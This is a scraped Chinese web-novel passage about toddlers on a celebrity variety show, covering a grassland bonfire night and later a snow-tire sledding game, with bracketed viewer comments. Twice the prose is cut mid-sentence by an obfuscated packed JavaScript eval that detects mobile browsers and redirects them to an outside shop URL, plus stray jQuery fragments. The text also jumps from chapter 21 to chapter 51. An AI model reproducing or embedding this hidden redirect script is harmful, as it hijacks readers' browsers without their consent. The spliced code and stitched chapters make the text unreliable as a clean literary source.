两人一时沉默,看着Zev。 Zev转过脸,也看着他俩,似乎在等着什么。 【场面一度很尴尬】 【我猜Zev并不知道对方为什么沉默】 【万恶的有钱人】 小虎想了想,夸道:“说明你不是一般人。” 夸完便默默离开去找别人玩,留在原地的粽粽鼓励Zev:“好厉害,你有一整个马场。” Zev不说话了,对粽粽稍微有点失望,并没领会他的意思。 粽粽沉浸在自己的幻想中,以后顾傲天或许会骑着一匹骏马疾驰而过,霸气外露,脑海里浮现古风画面,想入非非。 前面马群奔腾而过,震耳欲聋地踩踏,带走粽粽的注意力。 看了会儿,视野中忽然出现了一个当地小朋友。 身上穿着颇具特色的蒙古服装,在阳光下熠熠生辉,头上扎了辫子,手上拿个小马鞭玩,在草原的背景色里格外夺目。 粽粽目光锁定,跟随着四处游动。 默默迈开小腿,走上前去,观察一番,谨慎开口。 “泥嚎。” 当地小朋友风吹日晒,皮肤变得黑红。更衬得粽粽白白软软,像个团子。 小朋友也很好奇地打量粽粽,今天粽粽因为来到草原而穿得很多。棉袄包裹了他本就肉乎乎的小身体,显得像个小球。 “你叫甚么名资。”粽粽问道。 见到对方没有反应,有点失望,看来也是无法和他搭起语言桥梁的。 希望世界上不要有那么多种语言了,大家一起说中文。 但他还是把手伸出,指尖对着自己,介绍:“我,叫,粽粽。” 一边还比了个粽子的形状。 对方盯了会儿,忽然也开口:“我是阿亚。” “啊呀。”粽粽对于得到回复感到很惊喜,也重复。 “我只会一点点,汉语。” “没关系没关系。”粽粽愉快,“那,是,你家的,马吗?” 一句话比个动作,粽粽用上了肢体语言。 【好家伙,真是交际花粽粽】 【一个手舞足蹈的小球】 【Zev:为什么不问我】 【笑死,画面角落的Zev独自沉重】 粽粽和阿亚交流了一阵,转头对Zev道:“啊呀说他家里有小马驹,我们一起去看吧。” Zev不言语,立在原地不动。 “去一下嘛,小天哥哥。”粽粽已然深谙其道,上来拉Zev的胳膊。 Zev这才半推半就地和他一起前往。 * “粽粽去哪里了?” 蒙古包里,林雪客和盛坻终于把东西都收拾好,铺好粽粽的小枕头小被子,才抬起头。 距离他们不远处,正是顾乾和邵晚熠。 压迫感还挺强的,除了都在各自领域展露头角之外,也是因为他们都有一定的话语权。 一个已知家世显赫,翻手为云覆手雨,另一个挺神秘,目前猜测挺多,他俩谁都得罪不起。 又有开始那莫名其妙的一出,颇为紧张。 有点怀念叽叽喳喳的粽粽,要是在这的话肯定不会让场子冷下来。 林雪客又问了盛坻一句:“粽粽怎么还不回来。” “Zev也不见了。”那边邵晚熠说,“肯定是你们粽粽把我弟给拐跑了。” “谁是你弟?”顾乾凉凉开口,他站在窗边,身形挺拔。 邵晚熠就不说话了,向来一副无所谓的样子,这时候倒像被捏住嘴的鸭子。 林雪客和盛坻观察到现在,发现这两位很少有一来回的对话,一般就算偶尔有个人单方面和对方说一句,也不大会得到回答。 很微妙而又很诡异的氛围。 “小朋友好奇什么呢?”被划清界限的邵晚熠转过头,双腿交叠着随意抱臂,“有的人想让我当哥,你也别老师老师的了,下次就叫哥。” 他目光扫过,停留一下:“头发染成蓝的了,比灰色适合你。” 一头蓝和灰交杂在一起的头发,确实别致。 林雪客察觉到邵晚熠是故意而为之,对方目光轻飘飘,压根没有任何实质性内容。 他和盛坻都摸不透邵晚熠总这么来一下,装作对林雪客很有兴趣是为了什么。 邵晚熠在事业上有所成就,显而易见的风流人设也不需要再用什么去塑造。 林雪客没来得及做出反应,就见顾乾也瞥了眼,淡道:“你说反了。上次是蓝色,灰色是后加的。” 也反常,顾乾竟然会加入这么无聊的话题。 “那你记性挺好。”邵晚熠皮笑肉不笑。 他平常都是一双含笑桃花眼,看起来带着笑意,很少有这样的表情。 林雪客觉得头发的存在感忽然变得很强烈,每根头发丝待的位置似乎都不太妥当。 【城门失火,殃及池鱼】 【邵晚熠偷鸡不成反蚀把米,难受了吧】 【可怜的林雪客不过是他们play的一环罢了】 【气氛非常地不对劲啊各位】 邵晚熠又把目光挪到盛坻身上;“其实你这头发颜色也不错,有活力。不会冷冰冰的。” 盛坻只能龇牙一笑,笑得很呆。 在这两人都坐立难安,屋里氛围变得很奇怪之际,终于“吱呀”一声。 救赎感贯彻了林雪客和盛坻的全身。 只见光里的粽粽跑进来,带着一丝热气,他拿起桌子上的运动水杯,仰起脑袋,大口大口地“吨吨吨”。 喝得十分专注,圆圆的小脸仰着,被汗湿的头发贴在脑门上,咕嘟咕嘟。 他放下水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16142766|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯,抹抹嘴。 才发现屋里的人都在看他。 “...看我干什么呀。”粽粽摸了摸自己的脸蛋,手感清爽毫无异常,完美无瑕,找不到任何端倪。 其他人纷纷若无其事地移开目光。 “Zev呢?”邵晚熠问他。 粽粽一回头,也愣了。 又“噔噔瞪”跑出去,过一会儿才把冷着小脸的Zev给牵回来。 额头上的汗水更多了,已经有的汇聚成黄豆大小,从额头间顺着圆润的脸颊弧度滚落。 【天,忙碌的小粽粽】 【Zev怎么耍大牌】 【需要我们粽粽一直哄才能好】 粽粽本来就是个包容的粽粽,而且又是主宰一切的顾傲天,便能让则让着。 他把Zev一路护送到床边,安顿在屋里:“是小天哥哥想回来了,我把他送回来。我还想去和啊呀玩。” 林雪客把他捉过来,提了提衣服裤子:“啊呀是谁?” “一个蒙鼓小朋友。”粽粽靠在林雪客怀里介绍着,“他穿的衣服可好看了,像那种丝绸,还有很多装饰,头上还编小编呢,我也想编小辫......” 在他介绍的时候,Zev就显得兴致缺缺。 “什么啊呀,叫什么名字?你认识没?”邵晚熠问他。 “没。”Zev淡淡。 在粽粽即将飞奔出门之前,沉默的Zev忽然使唤粽粽:“帮我拿杯水。” 粽粽停下脚步,把自己运动水杯旁边那个水杯递给Zev,就又要兴冲冲地跑出去。 Zev象征性地抿两口,又说:“天黑的时候草丛里会有蛇。” 粽粽果然停在原地,转脸看看Zev:“真的吗?” 确实有道理,平常山上的小草堆里都会有蛇,那这些草长得这么高,里面还不定藏着什么。 夕阳已经快落山,夜晚即将到来, 粽粽在脑海中想象了一下月出之时,群魔出洞乱舞的可怕场景,很多动画片都有这样的画面。 脚步在门口试探地迈出又迈回,有些纠结。 最终在心中默念勇敢勇敢,还是默默踩实了外面的地。 一脚在外,一脚在内,横跨在门中间,即将离开。 “喝完了,帮我放一下。”Zev又开口。 这回后脑勺上被顾乾结结实实地拍了拍。 顾乾也不知道Zev为什么突然这样,从接回来到现在还没听他使唤过任何一个人,即使家里有保姆在的时候都不产生交流。 现在这么任性,让顾乾这个哥哥有点面上无光。 “什么少爷毛病,收起来。”顾乾言简意赅。 他一般只有一个语气,冷冰冰没什么调,一开口就让氛围降至冰点。 “哥哥你不要说小天哥哥,互帮互助是美德。”粽粽在门口远远地打圆场,“不过小天哥哥我确实跑不动了,你看你放杯子只用五步左右,我过去至少二十步。” 他认真地讲道理,丈量彼此和桌子之间的距离。 【Zev就是不想让粽粽出门吧】 【Zev:你的身边朋友有那么多,而我也只是其中一个】 【花心小粽粽】 【粽粽:对不起,我和他们都是假玩】 【留不住的粽粽】 “保姆第一天来的时候不就叫我少爷吗。”Zev语气和顾乾很像,多了一丝嘲讽,“他们也都叫我少爷。” 两人对起来就是针尖对麦芒,其他也没人敢劝,不管说的是什么内容,火药味硝烟味蔓延出二里地。 反正呛到了门口的粽粽。 他扶着门朝外看看,又朝里瞅瞅,犹豫一下,只得先暂时返航。 “你们不要再吵了呀。” 21. 第 21 章 粽粽匆匆赶回,满头大汗地站在顾乾和Zev之间,尽职尽责地阻拦着,见者无不泪目。 一个小孩儿拦在这,顾乾不好再继续说什么,转身离开。 Zev则独自坐在凳子上沉默。 粽粽把他手里的杯子放到桌子上,叽叽咕咕说了一番,把Zev也劝好,才擦擦汗,深藏功与名。 【哄Zev逐渐熟练的小粽粽】 【时长明显比上次缩短了些】 【为什么有种似曾相识的感觉】 【Z黛玉和粽宝玉】 【Zev:去和别的哥哥弟弟玩吧】 广播响起,导演通知所有人去参加篝火晚会。 “天快黑了,外面人又多,小朋友一定由家长抱着。”他温暖地提示道。 话音未落,粽粽立刻张开小手,向盛坻请示升空。 “响应得这么积极。” 盛坻笑笑,把粽粽拔起来抱着。 “哥哥你肩膀挺宽的。”粽粽夸道。 他颇有安全感地趴在盛坻肩膀上,盯着板栗色的头发仔细瞅了瞅,发现每一根的颜色单独看没有那么明显,但组合起来就形成完全不同的颜色。 不像那种煮熟的烤板栗,像是之前去爬山的时候山上掉下来偏红的鲜板栗。 粽粽有点不爱吃那种,不是很甜。 水汪汪的眼睛神情专注,长长的睫毛一眨不眨。 配上圆圆的小脸,就像个迷你玩偶。 盛坻捏了一把:“很好奇?一会儿揪一根送给你。” “真的吗?”粽粽睁大眼睛,但又思考一番,体贴道,“还是不用了,拔头发有点疼。” “哥哥我想把头发染成粉红色。”粽粽说。 盛坻盯着粽粽,粽粽盯着盛坻。 两人脑海中各有一番想象。 “。” 又看了一会儿,粽粽才恋恋不舍地移开钻研的目光,落到地上,忽然操心起来:“没有人抱小天哥哥怎么能行呢?刚刚说外面很挤,天黑又很危险。” 别给顾傲天整丢了,那会天下大乱。 邵晚熠挑眉:“这不正在商量。” 再仔细一看,只见顾乾就站在Zev的半米远处,稍稍低头,冷冷的目光放在Zev的脑袋顶上。 Zev抱臂站在原地,冷冷的目光平视前方。 “......” 【他俩在玩木头人吗】 【好奇,谁会先动】 【Zev空有一颗独立心,奈何这具身体太小了】 【虽然但是,这个夕阳的光影好有感觉,像那种画报】 【粽粽:hello?】 偏暗的残阳横亘在两人中间,眼睁睁地逐渐偏移,最后只剩下淡淡的光影。 即将完全消失之时,粽粽蹬蹬小腿,盛坻把他放下来。 粽粽来到Zev旁边,劝说:“你就让你哥哥抱你吧,外面都黑了,我们这么矮,很容易被踢到踩到的。” “而且又黑又不好走,还容易摔跤。虽然你的运动能力在同龄人中很优秀。” “安全无小事,你不能在这个地方叛逆。” 又仰起脑袋,想去劝顾乾。 目光从下朝上看,看到顾乾很完美的下颌线,和高挺的鼻梁。 好帅呀。 粽粽摇摇头,找回思路:“哥哥你要用正确的方式沟通,生活是一面镜子。你用愉悦阳光的心态对待,一切就会充满美好。你用冷冰冰的态度对待,就会冷冰冰。” 大家打眼一看,顾乾和Zev还真像照镜子似的一大一小,粽粽说得十分准确。 粽粽对自己也十分满意,他可谓晓之以理,动之以情,而且还夹杂了一些高情商措辞和名言语录。 都是他从睡前故事中收获,此刻学以致用。 忽然“嗤”一声,打破寂静,大家看过去,是邵晚熠没忍住笑出声。 被顾乾和Zev同时冷冷地瞥上一眼,立刻敛了笑容。 他走上前打破僵局,一弯腰,轻松地把抱臂的Zev整个人端起,所有人都没反应过来。 邵晚熠趁这个当口,还不经意地在Zev因为生气而有些鼓起的脸蛋上摸了一下。 粽粽惊恐地看着眼前一幕,拔腿离开,回到盛坻身边,要求立刻回到安全的高空。 【邵晚熠在作死的道路上一去不返】 【总是偷偷玩Zev,如果顾乾不在想象不到他会有多放肆】 【当你弱小的时候即使生气别人都觉得可爱,甚至是Zev】 【还是不一样的,也就邵晚熠敢这么干了】 【好神奇的画面,迷你版顾乾和邵晚熠】 【给我们金牌调解员吓的】 “放我下来。”Zev很生气。 “给个面子。”邵晚熠认怂飞快,“外面人多又黑,您还是未完全成长态,勉强让我运输你一下呗。” “累的是我,就当惩罚了。” 确实有一定道理。 Zev勉强同意,让邵晚熠暂时成为自己的移动工具。 但是拒绝和邵晚熠的任何肢体接触,把身体和对方挪开一定距离,依旧抱臂面朝前方,保持上半身直立,和趴着的粽粽形成鲜明的对比。 * 篝火晚会现场。 已然人头攒动,很多当地人穿上了繁复的民族服饰,和白天见到的判若两人。 盛坻把怀里的粽粽朝上托了托,举起来。 视野变高之后,粽粽惊讶地看到中间竟然有一个大大的火堆,正在熊熊燃烧。 他抱紧盛坻的脑袋。 “害怕了吗?”盛坻揪下这一小坨,“看你平常那么勇敢,想不到也有害怕的东西。” 粽粽虽然处于危险之中,仍不忘不满地皱皱小眉头:“哥哥,勇敢不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16142767|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲁莽,要在保证安全的情况下量力而行。” “这么有文化呢小粽粽。”盛坻震惊。 粽粽对他的反应比较满意,这才是他每天坚持听睡前故事应得的表扬。而不是像顾乾和顾傲天一样不予理会。 【看这得意的小表情】 【词汇量惊人的小粽粽】 【粽粽努力.jpg】 【掉进火里就变成烤粽粽了】 熊熊的火焰在空中迸出火星,在夜空中划出一道道光影。 粽粽来到安全距离,非常愉快地观看着。 “小天哥哥,你看这个火。” 粽粽转头和同一高度的Zev搭讪。 只见Zev依然保持挺直姿势,坚持和邵晚熠划清界限。 “嗯。”Zev点点头。 导演的声音继续响起:“人已经差不多到齐了各位,篝火晚会即将开始。” 几排工作人员涌入,每个人都端着一道菜,色香味俱全,香气瞬间扑鼻。 在盛坻怀里的粽粽目光锁定,微微挣扎。 最后硬菜烤全羊上来之时,粽粽已经不由自主地前倾,盯着鲜香酥脆的美味羊肉。 “请问现在可以吃吗?”他礼貌询问。 “现在不可以吃。”得到了残忍的答复,“载歌载舞之后才是大快朵颐时间。” 粽粽并没有听明白这几个成语,前面的半句话已经击垮了他。 好在这时,颇具民族感的鼓点声响起,几位穿着民族服饰的人开始跳起他们的舞蹈,显得赏心悦目。 粽粽又转过脸,目光飞速移动。 连什么时候被放到地上都不知道。 其中一个小朋友跳的最好,裙摆飞扬,每一处都卡在节拍上,动作也充满力量。 粽粽在家耳濡目染,比较会欣赏舞蹈,在地上独自大为赞赏,忽然认了出来,惊喜道:“啊呀!” 他和他的小伙伴久别重逢,高兴地跑进人堆。 场面实在宏大,大家的注意力几乎都被牵引着。 不知过了多久,盛坻和林雪客一低头,忽然发现粽粽不见了。 刚刚站的一小片地方已经空空如也,只剩下一撮枯枯的草。 “粽粽呢?”他俩互相询问,自然没从对方那里没得到回答,只得抬起头去找。 却发现满眼都是人,火舌窜起来一丈高,耳膜里充斥着吵闹的音乐,压根无处寻觅,都有几分慌了神。 匆匆低头转了圈,发现了淡定站在一旁的Zev,病急乱投医:“Zev,你看到粽粽了吗?” Zev不语,伸手一指。 他们顺着看过去,只见人群中央,正是要寻找的目标。 粽粽脑袋上扣着一顶蒙古帽,正灵活地扭动着自己的小屁股,如同莲藕般的胳膊挥舞,努力追赶上激烈的节拍,肉乎乎如同一个跃动的小球。 “......” 50-60 第51章 温暖的壁炉燃烧着温暖的火光,把粽粽白皙的小脸照成了暖色,额头上的创可贴深深刺痛了Zev的眼睛。 Zev默默盯着。 仿佛白壁微瑕,鸡蛋剥壳时在白嫩的蛋白上留下了一丝蛋壳,对于粽粽完美圆润的脸蛋来说是很突兀的。 “会留疤吗?”他问旁边的盛坻。 说着抬起自己的手,犹记得和粽粽第一次见面时指腹被狠狠咬了一口,到现在还能看出痕迹来。 他觉得无所谓,但粽粽不可。 粽粽是一颗完美的水煮蛋。 “不会的。”盛坻语气肯定,“粽粽这里是先红了一块,擦破点皮。就磕的那下比较疼,刚刚医生都看过了。” Zev点点头,霸道地对粽粽说:“以后不许受伤。” 粽粽:“?” 【粽粽:刚刚谁拉我走那么快】 【粽粽:要不是你的话我早在盛坻怀里安全抵达目的地了】 【哈哈哈哈哈】 但粽粽并没有这样想,只是弱弱地望着Zev,已经习惯了顾傲天的行事风格。 “好吧。”粽粽答应。 Zev满意。 他俩在屋子里一前一后地绕了一圈,果然和宋霄出示的一样,让粽粽大开眼界,兴奋地迈着小腿跑来跑去。 “叮铃铃——” 还没完全参观结束,就已经响起了门铃声。 “粽粽和Zev去开门吧。”林雪客找到他们俩。 粽粽跑过去,踮脚按下门把手。 一个大大的鼻孔就朝他杵过来。 “!” 接着是圆圆的鼻头,和鼻孔一起靠近,同时进入视野的还有两个长长的角。 “九敏。”粽粽抱住最近的Zev。 Zev一手揽住粽粽,带着他后退两步,警惕地仔细观察。 门外竟然站着两头高高的麋鹿,正被工作人员牵着,后面拉着一辆装饰漂亮的小车,立在雪地里,远看如同从故事书里走出来。 但近看则不然。 粽粽仰着小脸,呆呆向上看,依然是鼻孔视角,很可怕。 “多可爱啊。”盛坻伸手在麋鹿脑袋上摸了一下,还问林雪客,“粽粽怎么会觉得吓人?还想给他个惊喜来着。” 林雪客观察一番,发现问题所在,朝盛坻招招手:“你蹲下来看试试?” 盛坻来到粽粽和Zev旁边,蹲下,抬头。 “” 他拍拍手站起身,把粽粽举起来:“这样看,是不是变可爱了。” 视角升高的粽粽终于窥见全景,不由“哇”了几声。 【笑死了,海拔决定一切】 【矮矮小粽的矮矮视角】 【快长高】 【谁给我们Zev抱一下,我们Zev也不曾见过这样的风景】 盛坻顺手把粽粽放在麋鹿后面的座位上,又对地上剩下的Zev习惯性伸手。 在即将碰到的0.0001cm处,忽然停下来,看看Zev。 Zev正冷酷抱臂,对视。 “。” 在对盛坻进行评估一番之后,Zev勉强放下手臂,被抱起来。 搁在粽粽旁边。 “Z呜哥哥。”粽粽眼里看到太多新奇的东西等待和人分享,立刻挨上Zev,“这是麋鹿欸,动画片里拉圣诞老人的那个。每到入夜会给小朋友发礼物,我就每年都收到。一岁的时候是个娃娃,两岁是小汽车,三岁的圣诞还没有到。” “你收到的是什么呀?”粽粽的对话向来有互动环节。 “没有收到过。”Zev说。 粽粽疑惑:“不会呀。圣诞老人会给每个小朋友送礼物的。” 他饱览童话书和动画片等文献资料,再结合亲身实践,对这个结论深信不疑。 Zev看着粽粽的大眼睛和拧起的小眉头,淡淡:“可能是因为我在国外。” “对。”粽粽豁然开朗,“你在国外,国内的圣诞老人没有找到你,今年一定会收到的。” “嗯。”Zev应了声,“圣诞老人没签证。” “圣诞老人很厉害,每次都知道我想要什么。比如去年那个小汽车,爸爸帮我把想要的东西画在纸条上,再把纸条放在圣诞袜里,第二天早上真的收到了一辆小汽车。” “Z呜哥哥你今年也可以这样试试。”粽粽坚定。 【希望今年顾乾能帮Zev圆圣诞老人梦】 【看Zev表情明显是不相信圣诞老人一说吧,维护粽粽的美梦】 【就像海底有海绵宝宝一样(】 【纯真小粽】 “嗯。”Zev漫不经心地点头。 此刻车忽然动了起来,前方的麋鹿在工作人员的牵引下迈开小碎步出发,车轮和冰雪摩擦,发出“咕噜咕噜”的巨大声响。 减震不太到位,坐在车上十分颠簸。 粽粽抓住Zev的手。 Zev握紧。 对于这种抱抱贴贴牵牵的小把戏,他已然可以勉强接受。 麋鹿一直带着他们来到指定地点,熟稔地停下,节目组的工作人员和其他提前到达的嘉宾都在此等候。 “小朋友们。”等所有人到齐,宋霄开始宣布,“趁着上次刚刚结束的滑沙记忆还在,我们决定首先展开滑雪活动。” 准备工作已经就绪,大家顺着指引朝场地看去。滑雪坡度是和滑沙时差不多的坡度,但乘坐工具却变化挺大。 滑沙时采用轻便的滑沙板,现在却是摆放着重重的大轮胎,按照一定间距摆放齐整,蓄势待发。 小月亮立刻提出疑问:“这能滑得快吗?” 上次大家总结出的经验都是越轻越好,但这大轮胎显然和这一构想南辕北辙。 “和摩擦力有关。”不等宋霄回答,成深野开口。 “什么是摩擦力。”粽粽提问。 成深野向他解释:“就比如你在路上走,你的鞋就和地面之间产生摩擦力。如果你在光滑的地上走,鞋子就需要粗糙的来增加摩擦力,不然就会摔跤。” 粽粽虽然似懂非懂,但他依然震惊地瞪大眼睛,崇拜地望着学识渊博的特儿。 “Dexter你懂得真多。”小月亮也夸道,同时举一反三,“所以轮胎就相当于粗糙的鞋子,雪地就是比沙子地更光滑的地面是吗?” “对的。”成深野肯定。 “特儿好厉害!”粽粽忍不住称赞。 “呵呵。”Zev冷哼一声,推了推墨镜。 粽粽望望Zev,若有所思,但没有立刻说。 等其他人忙着测试轮胎,粽粽才在人群的小角落询问Zev:“你刚刚是不是有点酸酸的。” “什么?”Zev不解。 “感觉心里酸酸的,也像吃了柠檬。”粽粽凑近,神秘而小声地告诉Zev,“小说里说这是吃醋了。” 各种感情里都会吃醋,包括友情。粽粽很懂的。 Zev伸出两根指头,把热乎乎的小脸推远一些。 粽粽见对方不接茬,只好使出杀手锏,声音更低地说道:“我知道你吃谁的醋。你是不是在吃——” Zev挑眉。 “小月亮的醋。”粽粽神秘地朝Zev挤挤眼睛。 “”Zev把眉毛落下。 “你不必好奇我是怎么知道的。”粽粽也抱起臂,“我会在节目的最后一天告诉你。” 他知道,除了Zev之外,他是唯一一个知道这个秘密的。但他是个品德良好的小粽粽,会认真保守这个秘密,直到别人自己说出来。 Zev没有再理会他,转身离去。 粽粽跑两步跟上:“你不要太害羞,我不会告诉别人的。而且等友情变质需要好多好多年之后呢。” 他继续很懂地叽叽咕咕一阵,直到瞥见眼前的轮胎,原来已经改造成了座位,前面还插上了漂亮的小旗,看起来挺舒适。 “哇。”粽粽跨上去。 他在滑沙的时候就十分喜爱这项运动,而且经过数次练习,自我感觉已经合格,现在摩拳擦掌地准备直接出发。 “等一下。” 粽粽感到被一股神秘力量拽住了后颈,回头一看才发现是宋霄拽住了他的羽绒服帽子。 “怎么了,小宋哥哥?”粽粽问。 “虽然两个项目极为相似,但安全系数显然是不同的。”宋霄一手拉住粽粽的小帽子,一手拿着提词本,“这个轮胎可以载重两人,我们两人为一组比赛。小朋友比拼时必须要选择一位大人带着。” 粽粽出发失败,只得先走下轮胎,观察。 忽然睁大眼睛:“盛坻哥哥要和小林哥哥一组。” 他来了精神,一直希望能获得更多盛坻和林雪客在一起相处的数据,才能思考出到底是哪一块出了问题。 只见两人十分正常地接受任务,林雪客十分正常地坐在轮胎里。 小林哥哥就是腿长,坐轮胎的姿势都这么好看。粽粽默默地想。 但忽然看到林雪客身后的盛坻稍稍犹豫。 粽粽十分吃惊,按照他的印象是小林哥哥不想再和盛坻哥哥当朋友,但现在却是盛坻哥哥在犹豫,难道他已经知道了真相。 不过毕竟当着镜头,盛坻只是稍那么停顿一下,就继续若无其事地坐上去,把前面林雪客被风吹起的淡蓝头发压下去。 粽粽皱起小眉头,愈发看不懂。 与此同时,弹幕却是没有任何疑惑。 【啊啊啊这一秒钟盛坻你在想什么】 【绝美林雪客,这头蓝发和雪地不要太配,盛坻在犹豫什么】 【越来越真了家人们】 【刚开始坦坦荡荡一看就是纯友谊,现在别别扭扭绝对有点变质/磕到了/磕到了】 【到底是谁还没磕明白】 小粽粽没有磕明白,直到望着两人渐行渐远的背影,才反应过来,急急地握起小拳头:“加油盛坻哥哥,加油小林哥哥!” 望着轮胎和雪地摩擦时飞起的雪尘,粽粽认为这是一项十分快乐且安全的游戏。 提前举起手欢呼:“耶——” 然而还耶完,就见轮胎在冲过终点时顿了一下,整个翻过,里面的两个人都扑在前面的雪地上。 “哥哥!”他立刻迈着小腿儿跑下坡察看。 坡并不算太长,但粽粽也跑了好一阵,才来到近前。 两个哥哥看起来并没大碍,林雪客撑在盛坻上方,而盛坻一手撑着地,在厚厚的雪地上半坐半躺,屈起一条腿,另一只手扶着林雪客的腰。 离得很近,目光相接。 风声夹着簌簌雪声在耳边摩擦,刚才轮胎撞击地面的巨响仿佛还回荡着余音 粽粽不知道他俩为何不动,弯下腰,小脸凑进画面,观察两人的表情。 大眼睛带着纯真的目光一闪一闪。 【哈哈哈哈怎么突然出现一个小粽粽,小脸正好塞进这个画面空隙】 【小粽粽应该在车底】 【粽粽:直视我】 【好奇的大眼睛】 第52章 “哥哥,你抓紧我。” 粽粽快乐地坐在盛坻怀里进行轮胎滑雪,但他发现盛坻哥哥没有抱紧他,而是有些心不在焉。 又再次提醒:“抓着我呀,不然我会飞出去的。” “噢噢。”盛坻这抓住粽粽的衣服。 一路上惊险刺激,仿佛真的在冰雪做成的世界里穿梭,和滑沙时完全不同的体验。 粽粽“呲溜”地到达终点,刘海被风掀到后面,露出十分高兴的额头和眉目。 “好好玩。”他打算站起身,却忽然跌坐回去。 “?” 重新努力多次,想要站起来,却又被巨大的力量掣肘,每次都被拉回原处。 他皱起小眉头,回头一望,发现盛坻依然抓着他的衣服,并没有放开。 “已经到了,盛坻哥哥。”被拴住的粽粽只得提醒道。 “好。” 盛坻放开,接着便下轮胎,收腿的时候磕到什么软软的东西。 重心不稳的粽粽歪在轮胎上。 “盛坻哥哥。”他出声,“我在这里。” “不好意思。”盛坻连忙将粽粽扶起,抱在怀里。 “盛坻哥哥你在想什么。” 受害者粽粽略有不满。 盛坻笑笑,回过神来,上下察看一番,把粽粽抱回起点。 【这实在是太标准的心猿意马,盛坻到底在想什么】 【隐约猜到】 【城门失火殃及小粽粽】 【哈哈哈哈好小一个,很容易被放倒】 起点处,负责计时的工作人员报出粽粽组成绩。 “你们目前排第三,请再接再厉哦。” 因为盛坻好几次反应慢了,所以被小月亮组和成深野组的成绩甩在后面。 “不好意思粽粽,我的问题。”盛坻认错。 “没事的。”粽粽宽容。 输赢对于他来说一向是身外之物,伸手友好地拍了拍盛坻的腿。然而仰起小脸,探究的目光却不曾停息。 “顾老师,邵哥,你们玩吗?”底下忽然有人远远地发出喊声,粽粽顺着回过头。 只见此刻起点还有一组尚未出发。 仿佛静止的画面呈现出明确的僵持与焦灼。 “玩一下呗?”邵晚熠对地上的Zev说。 Zev身穿酷帅黑色羽绒服,戴着墨镜,在雪地背景下很酷的一小个。 “不。”他不同意。 既不同意邵晚熠和顾乾一起玩,也不同意自己被邵晚熠带着玩。 “很好玩的。”邵晚熠持续劝说,“你问粽粽好不好玩?” “好玩。”工具小粽粽随即应答。 “无所谓。”Zev说,“只是不想和你玩,也不想你和顾乾玩。” 邵晚熠:“” “让顾乾哥哥带你玩。”热心粽粽认真倾听,提出建议。 Zev不说话。 顾乾也没说话。 【邵晚熠:/小丑/小丑】 【合着只有邵晚熠是多余的】 【以后把粽粽带家去当沟通桥梁吧,我们小粽粽付出了太多】 粽粽不辱使命,把Zev的手牵起来,交到顾乾手里:“顾乾哥哥,你带Z呜哥哥一起玩吧。” “呦,不是小天了?也不知道谁是小天。”邵晚熠看着Zev阴阳怪气。 Zev浅浅一瞥,带着胜利之后的不必多言。 在粽粽的倡议下,顾乾把Zev拎起来,跨上轮胎,绑上安全带,点头示意工作人员。 Zev始终不语,和方才呛声邵晚熠的判若两人。 “可以了。”工作人员替他们检查一番,顺利出发。 “这么有办法?”留在原地的邵晚熠望向粽粽,刮目相看。 粽粽慈祥目送。 雪坡上留下轮胎的印记,飞快向远处延伸。 轮胎上一大一小都表情冷静,没有太多波澜,与方才其他组形成鲜明对比。 耳边所有声音都和风声揉到一起,被抛诸身后,显得轮胎上的小小空间更加落针可闻。 “好玩吗?”顾乾没什么感情地问了句。 “嗯。”Zev也没什么感情地回了个字。 刚刚对于粽粽来说一闪而过的游玩距离在他们这里格外漫长。 顾乾看着前面,稍微调整一点方向:“对你来说没什么挑战性,你小时候玩过。” “不记得。” “一岁左右吧。Glacier peak滑雪场,我当时正好在附近拍戏。” “不可能。管家不能带我出来。”Zev笃定。 “不是管家。”顾乾说。 他没有多说,但如果不是管家和保姆,那么是谁带出来的显而易见。 谈及这个问题,都陷入沉默。 他们俩的父母顾泽修和时钰属于商业联姻,说好听点是开放式婚姻,平常各玩各的,不影响婚姻状况,甚至见面时也能擦出火花。早早完成传宗接代任务,还超额生了个小Zev。 但也注定对两儿子的感情投入有限,和小宠物差不多,想起来了玩两下。 金钱投入倒是拉满,从小顾乾就是用各种课程堆起来的。 奈何顾乾志不在此,十几岁跑到娱乐圈,二十来岁闹出同性绯闻。 顾老爷子倒觉得无所谓,顾家产业里本来就有很一部分和文娱有关,而且这个顾家长孙小时候在他身边很是稀罕了一阵,给与较大的宽容度。 顾乾外公时岳韬则公开表示不承认这个不争气的外孙,他们不缺继承人。 但三十年河东三十年河西,偏偏近年间家族内斗,拉帮结派试图架空董事会。 时岳韬宝刀未老,以雷霆手段镇压,连夜修改遗嘱。一时间逐出公司的逐出公司,入狱的入狱,最后唯一贴心的反而是这些年对公司事情毫不过问的小女儿时钰。 当即给Zev改了姓氏,暗示性不言而喻。 时钰和顾泽修还是各玩各的,两边老爷子让他们吸取顾乾不亲人的教训,在Zev达到上学年龄之前,每周花固定时间陪伴。 两人都嫌麻烦,甩来甩去,最终达成一致,暂时甩给国内的顾乾,待到上学年龄再说,美其名曰和哥哥也培养一下感情。 “不说这个。”Zev说。 “嗯。”顾乾同意。 随着坡度越来越大,轮胎滑行的速度也逐渐上去,地上每一颗石子和坑洼都被放大体现在震感上,有轻微失重,但并不多,体验感上无可挑剔。 “还挺好玩的。”顾乾淡淡。 表情并没有太多变化,光看的话完全猜不出来说话内容。 Zevy也尽量平静地说:“还可以。 